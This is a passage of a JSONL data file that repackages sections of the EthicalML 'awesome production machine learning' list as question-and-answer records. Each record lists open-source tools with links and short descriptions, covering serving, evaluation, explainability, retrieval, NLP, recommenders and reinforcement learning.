deploy models such as YOLOv5, YOLOv8, CLIP, SAM, and CogVLM on your own hardware using Docker.\n* [Infinity](https://github.com/michaelfeil/infinity) ![](https://img.shields.io/github/stars/michaelfeil/infinity.svg?cacheSeconds=86400) - Infinity is a high-throughput, low-latency REST API for serving text-embeddings, reranking models and clip. \n* [IPEX-LLM](https://github.com/intel/ipex-llm) ![](https://img.shields.io/github/stars/intel/ipex-llm.svg?cacheSeconds=86400) - IPEX-LLM is a PyTorch library for running LLM on Intel CPU and GPU (e.g., local PC with iGPU, discrete GPU such as Arc, Flex and Max) with very low latency.\n* [LiteLLM](https://github.com/BerriAI/litellm) ![](https://img.shields.io/github/stars/BerriAI/litellm.svg?cacheSeconds=86400) - LiteLLM is a Python SDK, Proxy Server (LLM Gateway) to call 100+ LLM APIs in OpenAI format - Bedrock, Azure, OpenAI, VertexAI, Cohere, Anthropic, Sagemaker, HuggingFace, Replicate, Groq.\n* [LitServe](https://github.com/Lightning-AI/LitServe) ![](https://img.shields.io/github/stars/Lightning-AI/LitServe.svg?cacheSeconds=86400) - LitServe is a flexible serving engine for AI models built on FastAPI. It supports custom inference engines for models, agents, multi-modal systems, RAG, and complex ML pipelines.\n* [Jina-serve](https://github.com/jina-ai/serve) ![](https://img.shields.io/github/stars/jina-ai/serve.svg?cacheSeconds=86400) - Jina-serve is a framework for building and deploying AI services that communicate via gRPC, HTTP and WebSockets.\n* [Kiln](https://github.com/kiln-ai/kiln) ![](https://img.shields.io/github/stars/kiln-ai/kiln.svg?cacheSeconds=86400) - Kiln is an OSS tool for fine-tuning LLM models, synthetic data generation, and collaborating on datasets.\n* [KServe](https://github.com/kserve/kserve) ![](https://img.shields.io/github/stars/kserve/kserve.svg?cacheSeconds=86400) - KServe provides a Kubernetes Custom Resource Definition for serving predictive and generative ML.\n* [KTransformers](https://github.com/kvcache-ai/ktransformers) ![](https://img.shields.io/github/stars/kvcache-ai/ktransformers.svg?cacheSeconds=86400) - KTransformers is a flexible framework for experiencing cutting-edge LLM inference optimizations.\n* [Langtrace](https://github.com/Sca", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629746"}
{"id": "gh_18a86b87c268", "question": "How to: Evaluation and Monitoring", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [AlpacaEval](https://github.com/tatsu-lab/alpaca_eval) ![](https://img.shields.io/github/stars/tatsu-lab/alpaca_eval.svg?cacheSeconds=86400) - AlpacaEval is an automatic evaluator for instruction-following language models.\n* [ANN-Benchmarks](https://github.com/erikbern/ann-benchmarks) ![](https://img.shields.io/github/stars/erikbern/ann-benchmarks.svg?cacheSeconds=86400) - ANN-Benchmarks is a benchmarking environment for approximate nearest neighbor algorithms search.\n* [ARES](https://github.com/stanford-futuredata/ARES) ![](https://img.shields.io/github/stars/stanford-futuredata/ARES.svg?cacheSeconds=86400) - ARES is a framework for automatically evaluating Retrieval-Augmented Generation (RAG) models.\n* [BEIR](https://github.com/beir-cellar/beir) ![](https://img.shields.io/github/stars/beir-cellar/beir.svg?cacheSeconds=86400) - BEIR is a heterogeneous benchmark containing diverse IR tasks. It also provides a common and easy framework for evaluation of your NLP-based retrieval models within the benchmark.\n* [Code Generation LM Evaluation Harness](https://github.com/bigcode-project/bigcode-evaluation-harness) ![](https://img.shields.io/github/stars/bigcode-project/bigcode-evaluation-harness.svg?cacheSeconds=86400) - Code Generation LM Evaluation Harness is a framework for the evaluation of code generation models.\n* [COMET](https://github.com/Unbabel/COMET) ![](https://img.shields.io/github/stars/Unbabel/COMET.svg?cacheSeconds=86400) - COMET is an open-source framework for machine learning evaluation.\n* [C-Eval](https://github.com/hkust-nlp/ceval) ![](https://img.shields.io/github/stars/hkust-nlp/ceval.svg?cacheSeconds=86400) - C-Eval is a comprehensive Chinese evaluation suite for foundation models.\n* [Deepchecks](https://github.com/deepchecks/deepchecks) ![](https://img.shields.io/github/stars/deepchecks/deepchecks.svg?cacheSeconds=86400) - Deepchecks is a holistic open-source solution for all of your AI & ML validation needs, enabling you to test your data and models from research to production thoroughly.\n* [DeepEval](https://github.com/confident-ai/deepeval) ![](https://img.shields.io/github/stars/confident-ai/deepeval.svg?cacheSeconds=86400) - DeepEval is a simple-to-use, open-source evaluation framework for LLM applications.\n* [DomainBed](https://github.com/facebookresearch/DomainBed) ![](https://img.shields.io/github/stars/facebookresearch/DomainBed.svg?cacheSeconds=86400) - DomainBed is a test suite containing benchmark datasets and algorithms for domain generalization\n* [EvalAI](https://github.com/Cloud-CV/EvalAI) ![](https://img.shields.io/github/stars/Cloud-CV/EvalAI.svg?cacheSeconds=86400) - EvalAI is an open-source platform for evaluating and comparing AI algorithms at scale.\n* [Evalchemy](https://github.com/mlfoundations/evalchemy) ![](https://img.shields.io/github/stars/mlfoundations/evalchemy.svg?cacheSeconds=86400) - Evalchemy is a unified and easy-to-use toolkit for evaluating post-trained language models.\n* [EvalPlus](https://github.com/evalplus/evalplus) ![](https://img.shields.io/github/stars/evalplus/evalplus.svg?cacheSeconds=86400) - EvalPlus is a robust evaluation framework for LLM4Code, featuring expanded HumanEval+ and MBPP+ benchmarks, efficiency assessment (EvalPerf), and a secure, extensible evaluation toolkit.\n* [Evals](https://github.com/openai/evals) ![](https://img.shields.io/github/stars/openai/evals.svg?cacheSeconds=86400) - Evals is a framework for evaluating OpenAI models and an open-source registry of benchmarks.\n* [EvalScope](https://github.com/modelscope/evalscope) ![](https://img.shields.io/github/stars/modelscope/evalscope.svg?cacheSeconds=86400) - EvalScope is a streamlined and customizable framework for efficient large model evaluation and performance benchmarking.\n* [Evaluate](https://github.com/huggingface/evaluate) ![](https://img.shields.io/github/stars/huggingface/evaluate.svg?cacheSeconds=86400) - Evaluate is a library that makes evaluating and comparing models and reporting their performance easier and more standardized.\n* [Evidently](https://github.com/evidentlyai/evidently) ![](https://img.shields.io/github/stars/evidentlyai/evidently.svg?cacheSeconds=86400) - Evidently is an open-source framework to evaluate, test and monitor ML and LLM-powered systems.\n* [GAOKAO-Bench](https://github.com/OpenLMLab/GAOKAO-Bench) ![](https://img.shields.io/github/stars/OpenLMLab/GAOKAO-Bench.svg?cacheSeconds=86400) - GAOKAO-Bench is an evaluation framework that uses Chinese National College Entrance Examination (GAOKAO) questions as a dataset to assess large models' language comprehension and logical reasoning abilities.\n* [Giskard](https://github.com/Giskard-AI/giskard)![](https://img.shields.io/github/stars/Giskard-AI/giskard.svg?cacheSeconds=86400) - Giskard is an open-source Python library that automatically detects performance, bias & security issues in AI applications.\n* [guidellm](https://github.com/vllm-project/guidellm) ![](https://img.shields.io/github/stars/vl", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629785"}
{"id": "gh_1c4353e44b1c", "question": "How to: Explainability and Fairness", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Aequitas](https://github.com/dssg/aequitas) ![](https://img.shields.io/github/stars/dssg/aequitas.svg?cacheSeconds=86400) - An open-source bias audit toolkit for data scientists, machine learning researchers, and policymakers to audit machine learning models for discrimination and bias, and to make informed and equitable decisions around developing and deploying predictive risk-assessment tools.\n* [AI Explainability 360](https://github.com/Trusted-AI/AIX360) ![](https://img.shields.io/github/stars/Trusted-AI/AIX360.svg?cacheSeconds=86400) - Interpretability and explainability of data and machine learning models including a comprehensive set of algorithms that cover different dimensions of explanations along with proxy explainability metrics.\n* [AI Fairness 360](https://github.com/Trusted-AI/AIF360) ![](https://img.shields.io/github/stars/Trusted-AI/AIF360.svg?cacheSeconds=86400) - A comprehensive set of fairness metrics for datasets and machine learning models, explanations for these metrics, and algorithms to mitigate bias in datasets and models.\n* [Alibi](https://github.com/SeldonIO/alibi) ![](https://img.shields.io/github/stars/SeldonIO/alibi.svg?cacheSeconds=86400) - Alibi is an open source Python library aimed at machine learning model inspection and interpretation. The initial focus on the library is on black-box, instance based model explanations.\n* [captum](https://github.com/pytorch/captum) ![](https://img.shields.io/github/stars/pytorch/captum.svg?cacheSeconds=86400) - model interpretability and understanding library for PyTorch developed by Facebook. It contains general purpose implementations of integrated gradients, saliency maps, smoothgrad, vargrad and others for PyTorch models.\n* [Fairlearn](https://github.com/fairlearn/fairlearn) ![](https://img.shields.io/github/stars/fairlearn/fairlearn.svg?cacheSeconds=86400) - Fairlearn is a python toolkit to assess and mitigate unfairness in machine learning models.\n* [InterpretML](https://github.com/interpretml/interpret) ![](https://img.shields.io/github/stars/interpretml/interpret.svg?cacheSeconds=86400) - InterpretML is an open-source package for training interpretable models and explaining blackbox systems.\n* [Lightly](https://github.com/lightly-ai/lightly) ![](https://img.shields.io/github/stars/lightly-ai/lightly.svg?cacheSeconds=86400) - A python framework for self-supervised learning on images. The learned representations can be used to analyze the distribution in unlabeled data and rebalance datasets.\n* [LOFO Importance](https://github.com/aerdem4/lofo-importance) ![](https://img.shields.io/github/stars/aerdem4/lofo-importance.svg?cacheSeconds=86400) - LOFO (Leave One Feature Out) Importance calculates the importances of a set of features based on a metric of choice, for a model of choice, by iteratively removing each feature from the set, and evaluating the performance of the model, with a validation scheme of choice, based on the chosen metric.\n* [mljar-supervised](https://github.com/mljar/mljar-supervised) ![](https://img.shields.io/github/stars/mljar/mljar-supervised.svg?cacheSeconds=86400) - A Python package for AutoML on tabular data with feature engineering, hyper-parameters tuning, explanations and automatic documentation.\n* [Quantus](https://github.com/understandable-machine-intelligence-lab/Quantus) ![](https://img.shields.io/github/stars/understandable-machine-intelligence-lab/Quantus.svg?cacheSeconds=86400) - Quantus is an eXplainable AI toolkit for responsible evaluation of neural network explanations\n* [SHAP](https://github.com/shap/shap) ![](https://img.shields.io/github/stars/shap/shap.svg?cacheSeconds=86400) - SHapley Additive exPlanations is a unified approach to explain the output of any machine learning model.\n* [SHAPash](https://github.com/MAIF/shapash) ![](https://img.shields.io/github/stars/MAIF/shapash.svg?cacheSeconds=86400) - Shapash is a Python library that provides several types of visualization that display explicit labels that everyone can understand.\n* [WhatIf](https://github.com/pair-code/what-if-tool) ![](https://img.shields.io/github/stars/pair-code/what-if-tool.svg?cacheSeconds=86400) - An easy-to-use interface for expanding understanding of a black-box classification or regression ML model.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629798"}
{"id": "gh_9493f5f59a71", "question": "How to: Feature Store", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [FEAST](https://github.com/feast-dev/feast)  ![](https://img.shields.io/github/stars/feast-dev/feast.svg?cacheSeconds=86400) - Feast (Feature Store) is an open source feature store for machine learning. Feast is the fastest path to manage existing infrastructure to productionize analytic data for model training and online inference.\n* [Featureform](https://github.com/featureform/featureform) ![](https://img.shields.io/github/stars/featureform/featureform.svg?cacheSeconds=86400) - A virtual featurestore. Plug-&-play with your existing infra. Data Scientist approved. Discovery, Governance, Lineage, & Collaboration just a pip install away. Supports pandas, Python, spark, SQL + integrations with major cloud vendors. \n* [Hopsworks Feature Store](https://github.com/logicalclocks/hopsworks) ![](https://img.shields.io/github/stars/logicalclocks/hopsworks.svg?cacheSeconds=86400) - Offline/Online Feature Store for ML [(Video)](https://www.youtube.com/watch?v=N1BjPk1smdg).", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629805"}
{"id": "gh_db92619c902c", "question": "How to: Industry-strength Anomaly Detection", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Alibi Detect](https://github.com/SeldonIO/alibi-detect) ![](https://img.shields.io/github/stars/SeldonIO/alibi-detect.svg?cacheSeconds=86400) - alibi-detect is a Python package focused on outlier, adversarial and concept drift detection.\n* [Darts](https://github.com/unit8co/darts) ![](https://img.shields.io/github/stars/unit8co/darts.svg?cacheSeconds=86400) - Darts is a library for user-friendly forecasting and anomaly detection on time series.\n* [Deequ](https://github.com/awslabs/deequ) ![](https://img.shields.io/github/stars/awslabs/deequ.svg?cacheSeconds=86400) - A library built on top of Apache Spark for defining \"unit tests for data\", which measure data quality in large datasets.\n* [PyOD](https://github.com/yzhao062/pyod) ![](https://img.shields.io/github/stars/yzhao062/pyod.svg?cacheSeconds=86400) - A Python Toolbox for Scalable Outlier Detection (Anomaly Detection).\n* [TFDV](https://github.com/tensorflow/data-validation) ![](https://img.shields.io/github/stars/tensorflow/data-validation.svg?cacheSeconds=86400) - TFDV (Tensorflow Data Validation) is a library for exploring and validating machine learning data.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629813"}
{"id": "gh_454e5ab38fac", "question": "How to: Industry Strength Computer Vision", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Deep Lake](https://github.com/activeloopai/deeplake) ![](https://img.shields.io/github/stars/activeloopai/deeplake.svg?cacheSeconds=86400) - Deep Lake is a data infrastructure optimized for computer vision.\n* [Detectron2](https://github.com/facebookresearch/detectron2) ![](https://img.shields.io/github/stars/facebookresearch/detectron2.svg?cacheSeconds=86400) - Detectron2 is Facebook AI Research's next generation library that provides state-of-the-art detection and segmentation algorithms.\n* [KerasCV](https://github.com/keras-team/keras-cv) ![](https://img.shields.io/github/stars/keras-team/keras-cv.svg?cacheSeconds=86400) - KerasCV is a library of modular computer vision oriented Keras components.\n* [Kornia](https://github.com/kornia/kornia) ![](https://img.shields.io/github/stars/kornia/kornia.svg?cacheSeconds=86400) - Kornia is a differentiable computer vision library built on PyTorch that provides a rich set of differentiable image processing and geometric vision algorithms.\n* [LAVIS](https://github.com/salesforce/LAVIS) ![](https://img.shields.io/github/stars/salesforce/LAVIS.svg?cacheSeconds=86400) - LAVIS is a deep learning library for LAnguage-and-VISion intelligence research and applications.\n* [libcom](https://github.com/bcmi/libcom) ![](https://img.shields.io/github/stars/bcmi/libcom.svg?cacheSeconds=86400) - libcom is an image composition toolbox.\n* [LightlyTrain](https://github.com/lightly-ai/lightly-train) ![](https://img.shields.io/github/stars/lightly-ai/lightly-train.svg?cacheSeconds=86400) - Pretrain computer vision models on unlabeled data for industrial applications.\n* [MMCV](https://github.com/open-mmlab/mmcv) ![](https://img.shields.io/github/stars/open-mmlab/mmcv.svg?cacheSeconds=86400) - MMCV is a foundational computer vision library from OpenMMLab that provides essential functionalities like image and video processing, data transformation and augmentation, CNN architectures, and optimized CUDA operations.\n* [SuperGradients](https://github.com/Deci-AI/super-gradients) ![](https://img.shields.io/github/stars/Deci-AI/super-gradients.svg?cacheSeconds=86400) - SuperGradients is an open-source library for training PyTorch-based computer vision models.\n* [supervision](https://github.com/roboflow/supervision) ![](https://img.shields.io/github/stars/roboflow/supervision.svg?cacheSeconds=86400) - Supervision is a Python library designed for efficient computer vision pipeline management, providing tools for annotation, visualization, and monitoring of models.\n* [VideoSys](https://github.com/NUS-HPC-AI-Lab/VideoSys) ![](https://img.shields.io/github/stars/NUS-HPC-AI-Lab/VideoSys.svg?cacheSeconds=86400) - VideoSys supports many diffusion models with our various acceleration techniques, enabling these models to run faster and consume less memory.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629822"}
{"id": "gh_833d3515f8da", "question": "How to: Industry Strength Information Retrieval", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [AutoRAG](https://github.com/Marker-Inc-Korea/AutoRAG) ![](https://img.shields.io/github/stars/Marker-Inc-Korea/AutoRAG.svg?cacheSeconds=86400) - AutoRAG is a RAG AutoML tool for automatically finds an optimal RAG pipeline for your data.\n* [BGE](https://github.com/FlagOpen/FlagEmbedding) ![](https://img.shields.io/github/stars/FlagOpen/FlagEmbedding.svg?cacheSeconds=86400) - BGE builds one-stop retrieval toolkit for search and RAG.\n* [Cognita](https://github.com/truefoundry/cognita) ![](https://img.shields.io/github/stars/truefoundry/cognita.svg?cacheSeconds=86400) - Cognita is a RAG framework for building modular and production-ready applications.\n* [DocArray](https://github.com/docarray/docarray) ![](https://img.shields.io/github/stars/docarray/docarray.svg?cacheSeconds=86400) - DocArray is a library for nested, unstructured, multimodal data in transit, including text, image, audio, video, 3D mesh, etc. It allows deep-learning engineers to efficiently process, embed, search, recommend, store, and transfer multimodal data with a Pythonic API.\n* [Faiss](https://github.com/facebookresearch/faiss) ![](https://img.shields.io/github/stars/facebookresearch/faiss.svg?cacheSeconds=86400) - Faiss is a library for efficient similarity search and clustering of dense vectors.\n* [fastRAG](https://github.com/IntelLabs/fastRAG) ![](https://img.shields.io/github/stars/IntelLabs/fastRAG.svg?cacheSeconds=86400) - fastRAG is a research framework for efficient and optimized retrieval augmented generative pipelines, incorporating state-of-the-art LLMs and Information Retrieval.\n* [GraphRAG](https://github.com/microsoft/graphrag) ![](https://img.shields.io/github/stars/microsoft/graphrag.svg?cacheSeconds=86400) - GraphRAG is a data pipeline and transformation suite that is designed to extract meaningful, structured data from unstructured text using the power of LLMs.\n* [HippoRAG](https://github.com/OSU-NLP-Group/HippoRAG) ![](https://img.shields.io/github/stars/OSU-NLP-Group/HippoRAG.svg?cacheSeconds=86400) - HippoRAG is a novel retrieval augmented generation (RAG) framework inspired by the neurobiology of human long-term memory that enables LLMs to continuously integrate knowledge across external documents.\n* [JamAI Base](https://github.com/EmbeddedLLM/JamAIBase) ![](https://img.shields.io/github/stars/EmbeddedLLM/JamAIBase.svg?cacheSeconds=86400) - JamAI Base is an open-source RAG (Retrieval-Augmented Generation) backend platform that integrates an embedded database (SQLite) and an embedded vector database (LanceDB) with managed memory and RAG capabilities. It features built-in LLM, vector embeddings, and reranker orchestration and management, all accessible through a convenient, intuitive, spreadsheet-like UI and a simple REST API.\n* [LangExtract](https://github.com/google/langextract) ![](https://img.shields.io/github/stars/google/langextract.svg?cacheSeconds=86400) - LangExtract is a Python library that uses LLMs to extract structured information from unstructured text documents based on user-defined instructions. It processes materials such as clinical notes or reports, identifying and organizing key details while ensuring the extracted data corresponds to the source text.\n* [LightRAG](https://github.com/HKUDS/LightRAG) ![](https://img.shields.io/github/stars/HKUDS/LightRAG.svg?cacheSeconds=86400) - A simple and fast retrieval-augmented generation framework.\n* [llmware](https://github.com/llmware-ai/llmware) ![](https://img.shields.io/github/stars/llmware-ai/llmware.svg?cacheSeconds=86400) - llmware provides a unified framework for building LLM-based applications (e.g, RAG, Agents), using small, specialized models that can be deployed privately, integrated with enterprise knowledge sources safely and securely, and cost-effectively tuned and adapted for any business process.\n* [Mem0](https://github.com/mem0ai/mem0) ![](https://img.shields.io/github/stars/mem0ai/mem0.svg?cacheSeconds=86400) - Mem0 enhances AI assistants and agents with an intelligent memory layer, enabling personalized AI interactions.\n* [NGT](https://github.com/yahoojapan/NGT) ![](https://img.shields.io/github/stars/yahoojapan/NGT.svg?cacheSeconds=86400) - NGT provides commands and a library for performing high-speed approximate nearest neighbor searches against a large volume of data in high dimensional vector data space.\n* [NMSLIB](https://github.com/nmslib/nmslib) ![](https://img.shields.io/github/stars/nmslib/nmslib.svg?cacheSeconds=86400) - Non-Metric Space Library (NMSLIB): An efficient similarity search library and a toolkit for evaluation of k-NN methods for generic non-metric spaces.\n* [Qdrant](https://github.com/qdrant/qdrant) ![](https://img.shields.io/github/stars/qdrant/qdrant.svg?cacheSeconds=86400) - An open source vector similarity search engine with extended filtering support.\n* [R2R](https://github.com/SciPhi-AI/R2R) ![](https://img.shields.io/github/stars/SciPhi-AI/R2R.svg?cacheSeconds=86400) - R2R (RAG to Riches) is a comprehensive pl", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629838"}
{"id": "gh_c02b1ec7142b", "question": "How to: Industry Strength Natural Language Processing", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [aisuite](https://github.com/andrewyng/aisuite) ![](https://img.shields.io/github/stars/andrewyng/aisuite.svg?cacheSeconds=86400) - aisuite is a simple, unified interface to multiple generative AI providers.\n* [Align-Anything](https://github.com/PKU-Alignment/align-anything) ![](https://img.shields.io/github/stars/PKU-Alignment/align-anything.svg?cacheSeconds=86400) - Align-Anything aims to align any modality large models (any-to-any models), including LLMs, VLMs, and others, with human intentions and values\n* [BERTopic](https://github.com/MaartenGr/BERTopic) ![](https://img.shields.io/github/stars/MaartenGr/BERTopic.svg?cacheSeconds=86400) - BERTopic is a topic modeling technique that leverages transformers and c-TF-IDF to create dense clusters allowing for easily interpretable topics whilst keeping important words in the topic descriptions.\n* [Burr](https://github.com/dagworks-inc/burr) ![](https://img.shields.io/github/stars/dagworks-inc/burr.svg?cacheSeconds=86400) - Burr helps you develop applications that make decisions (chatbot, agent, simulation). It comes with production-ready features (telemetry, persistence, deployment, etc.) and the open-source, free, and local-first Burr UI.\n* [CodeTF](https://github.com/salesforce/CodeTF) ![](https://img.shields.io/github/stars/salesforce/CodeTF.svg?cacheSeconds=86400) - CodeTF is a one-stop Python transformer-based library for code large language models (Code LLMs) and code intelligence, provides a seamless interface for training and inferencing on code intelligence tasks like code summarization, translation, code generation and so on. \n* [Dify](https://github.com/langgenius/dify) ![](https://img.shields.io/github/stars/langgenius/dify.svg?cacheSeconds=86400) - Dify is an open-source LLM app development platform whose intuitive interface combines agentic AI workflow, RAG pipeline, agent capabilities, model management, observability features and more, letting you quickly go from prototype to production.\n* [dspy](https://github.com/stanfordnlp/dspy) ![](https://img.shields.io/github/stars/stanfordnlp/dspy.svg?cacheSeconds=86400) - A framework for programming with foundation models.\n* [Dust](https://github.com/dust-tt/dust) ![](https://img.shields.io/github/stars/dust-tt/dust.svg?cacheSeconds=86400) - Dust assists in the design and deployment of large language model apps.\n* [ESPnet](https://github.com/espnet/espnet) ![](https://img.shields.io/github/stars/espnet/espnet.svg?cacheSeconds=86400) - ESPnet is an end-to-end speech processing toolkit.\n* [FastChat](https://github.com/lm-sys/FastChat) ![](https://img.shields.io/github/stars/lm-sys/FastChat.svg?cacheSeconds=86400) - FastChat is an open platform for training, serving, and evaluating large language model based chatbots.\n* [Flair](https://github.com/flairNLP/flair) ![](https://img.shields.io/github/stars/flairNLP/flair.svg?cacheSeconds=86400) - Simple framework for state-of-the-art NLP developed by Zalando which builds directly on PyTorch.\n* [Gensim](https://github.com/piskvorky/gensim) ![](https://img.shields.io/github/stars/piskvorky/gensim.svg?cacheSeconds=86400) - Gensim is a Python library for topic modelling, document indexing and similarity retrieval with large corpora.\n* [gpt-fast](https://github.com/meta-pytorch/gpt-fast) ![](https://img.shields.io/github/stars/meta-pytorch/gpt-fast.svg?cacheSeconds=86400) - Simple and efficient pytorch-native transformer text generation.\n* [h2oGPT](https://github.com/h2oai/h2ogpt) ![](https://img.shields.io/github/stars/h2oai/h2ogpt.svg?cacheSeconds=86400) - h2oGPT is an open source generative AI, gives organizations like yours the power to own large language models while preserving your data ownership.\n* [Haystack](https://github.com/deepset-ai/haystack) ![](https://img.shields.io/github/stars/deepset-ai/haystack.svg?cacheSeconds=86400) - Haystack is an open source NLP framework to interact with your data using Transformer models and LLMs (GPT-3 and alike). Haystack offers production-ready tools to quickly build ChatGPT-like question answering, semantic search, text generation, and more.\n* [Interactive Composition Explorer](https://github.com/oughtinc/ice) ![](https://img.shields.io/github/stars/oughtinc/ice.svg?cacheSeconds=86400) - ICE is a Python library and trace visualizer for language model programs.\n* [Lamini](https://github.com/lamini-ai/lamini) ![](https://img.shields.io/github/stars/lamini-ai/lamini.svg?cacheSeconds=86400) - Lamini is an LLM engine for rapidly customizing models.\n* [LangChain](https://github.com/langchain-ai/langchain) ![](https://img.shields.io/github/stars/langchain-ai/langchain.svg?cacheSeconds=86400) - LangChain assists in building applications with LLMs through composability.\n* [LlamaIndex](https://github.com/run-llama/llama_index) ![](https://img.shields.io/github/stars/run-llama/llama_index.svg?cacheSeconds=86400) - LlamaIndex (GPT Index) is a data framework for your LLM application.\n* [LLaMA](https://github.com/meta-llama/llama", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629860"}
{"id": "gh_c8c7992d181e", "question": "How to: Industry Strength Recommender System", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [EasyRec](https://github.com/alibaba/EasyRec) ![](https://img.shields.io/github/stars/alibaba/EasyRec.svg?cacheSeconds=86400) - EasyRec is a framework for large scale recommendation algorithms.\n* [Gorse](https://github.com/gorse-io/gorse) ![](https://img.shields.io/github/stars/gorse-io/gorse.svg?cacheSeconds=86400) - Gorse aims to be a universal open-source recommender system that can be quickly introduced into a wide variety of online services.\n* [Merlin](https://github.com/NVIDIA-Merlin/Merlin) ![](https://img.shields.io/github/stars/NVIDIA-Merlin/Merlin.svg?cacheSeconds=86400) - NVIDIA Merlin is an open source library providing end-to-end GPU-accelerated recommender systems, from feature engineering and preprocessing to training deep learning models and running inference in production.\n* [Recommenders](https://github.com/recommenders-team/recommenders) ![](https://img.shields.io/github/stars/recommenders-team/recommenders.svg?cacheSeconds=86400) - Recommenders contains benchmark and best practices for building recommendation systems, provided as Jupyter notebooks.\n* [TorchRec](https://github.com/meta-pytorch/torchrec) ![](https://img.shields.io/github/stars/meta-pytorch/torchrec.svg?cacheSeconds=86400) - TorchRec is a PyTorch domain library built to provide common sparsity and parallelism primitives needed for large-scale recommender systems (RecSys).", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629868"}
{"id": "gh_d3bd893dab59", "question": "How to: Industry Strength Reinforcement Learning", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Acme](https://github.com/google-deepmind/acme) ![](https://img.shields.io/github/stars/google-deepmind/acme.svg?cacheSeconds=86400) - Acme is a library of reinforcement learning (RL) building blocks that strives to expose simple, efficient, and readable agents.\n* [AReaL](https://github.com/inclusionAI/AReaL) ![](https://img.shields.io/github/stars/inclusionAI/AReaL.svg?cacheSeconds=86400) - AReaL is a reinforcement learning library.\n* [CleanRL](https://github.com/vwxyzjn/cleanrl) ![](https://img.shields.io/github/stars/vwxyzjn/cleanrl.svg?cacheSeconds=86400) - CleanRL is a Deep Reinforcement Learning library that provides high-quality single-file implementation with research-friendly features. The implementation is clean and simple, yet we can scale it to run thousands of experiments using AWS Batch.\n* [CompilerGym](https://github.com/facebookresearch/CompilerGym) ![](https://img.shields.io/github/stars/facebookresearch/CompilerGym.svg?cacheSeconds=86400) - CompilerGym is a library of easy to use and performant reinforcement learning environments for compiler tasks.\n* [d3rlpy](https://github.com/takuseno/d3rlpy) ![](https://img.shields.io/github/stars/takuseno/d3rlpy.svg?cacheSeconds=86400) - d3rlpy is an offline deep reinforcement learning library for practitioners and researchers.\n* [D4RL](https://github.com/Farama-Foundation/D4RL) ![](https://img.shields.io/github/stars/Farama-Foundation/D4RL.svg?cacheSeconds=86400) - D4RL is an open-source benchmark for offline reinforcement learning.\n* [Dopamine](https://github.com/google/dopamine) ![](https://img.shields.io/github/stars/google/dopamine.svg?cacheSeconds=86400) - Dopamine is a research framework for fast prototyping of reinforcement learning algorithms. It aims to fill the need for a small, easily grokked codebase in which users can freely experiment with wild ideas (speculative research).\n* [EvoTorch](https://github.com/nnaisense/evotorch) ![](https://img.shields.io/github/stars/nnaisense/evotorch.svg?cacheSeconds=86400) - EvoTorch is an open source evolutionary computation library developed at NNAISENSE, built on top of PyTorch.\n* [FinRL](https://github.com/AI4Finance-Foundation/FinRL) ![](https://img.shields.io/github/stars/AI4Finance-Foundation/FinRL.svg?cacheSeconds=86400) - FinRL is the first open-source framework to demonstrate the great potential of financial reinforcement learning.\n* [Gymnasium](https://github.com/Farama-Foundation/Gymnasium) ![](https://img.shields.io/github/stars/Farama-Foundation/Gymnasium.svg?cacheSeconds=86400) - Gymnasium is an open source Python library for developing and comparing reinforcement learning algorithms by providing a standard API to communicate between learning algorithms and environments, as well as a standard set of environments compliant with that API.\n* [Gymnasium-Robotics](https://github.com/Farama-Foundation/Gymnasium-Robotics) ![](https://img.shields.io/github/stars/Farama-Foundation/Gymnasium-Robotics.svg?cacheSeconds=86400) - Gymnasium-Robotics contains a collection of Reinforcement Learning robotic environments that use the Gymansium API. The environments run with the MuJoCo physics engine and the maintained mujoco python bindings.\n* [Jumanji](https://github.com/instadeepai/jumanji) ![](https://img.shields.io/github/stars/instadeepai/jumanji.svg?cacheSeconds=86400) - Jumanji is a suite of Reinforcement Learning (RL) environments written in JAX providing clean, hardware-accelerated environments for industry-driven research.\n* [MARLlib](https://github.com/Replicable-MARL/MARLlib) 